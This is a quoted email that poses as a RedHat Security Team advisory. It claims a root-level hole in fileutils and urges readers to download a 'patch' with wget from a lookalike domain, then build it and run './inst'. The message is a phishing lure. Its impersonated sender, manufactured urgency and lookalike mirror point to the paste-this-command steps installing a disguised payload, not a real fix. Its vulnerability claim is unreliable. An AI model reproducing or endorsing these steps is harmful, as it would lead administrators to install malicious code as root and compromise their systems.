>    Dear RedHat user,
>
>    Redhat found a vulnerability in fileutils (ls and mkdir), that could
>    allow a remote attacker to execute arbitrary code with root
>    privileges. Some of the affected linux distributions include RedHat
>    7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2
>    and not only. It is known that *BSD and Solaris platforms are NOT
>    affected.
>
>    The RedHat Security Team strongly advises you to immediately apply the
>    fileutils-1.0.6 patch. This is a critical-critical update that you
>    must make by following these steps:
>      * First download the patch from the Security RedHat mirror: wget
>        www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
>      * Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
>      * cd fileutils-1.0.6.patch
>      * make
>      * ./inst
>
>    Again, please apply this patch as soon as possible or you risk your
>    system and others` to be compromised.
